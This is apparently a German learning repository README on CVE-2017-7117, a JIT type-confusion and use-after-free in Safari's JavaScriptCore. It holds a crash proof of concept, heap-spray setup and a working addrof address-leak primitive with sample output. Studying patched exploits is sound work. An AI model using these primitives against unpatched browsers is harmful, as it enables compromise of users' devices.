
Eine Type-Confusion und Use-After-Free (UAF), gefunden in iOS 10.3.4 und früher sowie Safari vor 11.0.
CVE-2017-7117: mitre.org
Entdeckt von @lokihardt, Quelle: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
Das Ausführen des obigen Codes führt zum Absturz von JSC.
Wir erzeugen ein großes Array arr, von dem der JIT-Compiler fälschlicherweise annimmt, dass es ein String ist.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Wenn die Referenz auf i verloren geht, behalten wir Zugriff auf das ursprüngliche Array arr und können den zugrunde liegenden Speicher lesen.
Durch das Spraying eines bekannten Werts können wir dies finden und nach oben traversieren, um den Zeiger auf ein beliebiges Objekt zu lokalisieren.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
Auf Werte wird im Speicher über ein Uint32Array zugegriffen, zuerst die niedrigen Bits, dann die hohen Bits.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Du kannst die Gültigkeit der Adresse mit describe() überprüfen.
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Derzeit getestet auf:
Funktioniert (noch) nicht auf iPhone 5, iOS 10.3.4. Lass uns herausfinden, warum ...
Dieses Repository dient als Lehrmaterial, um meinen Lernfortschritt in der Exploit-Entwicklung zu dokumentieren. Diese Schwachstelle (CVE) ist seit mehr als 7 Jahren gepatcht. Benutze dies selbstverständlich nicht für üble Zwecke.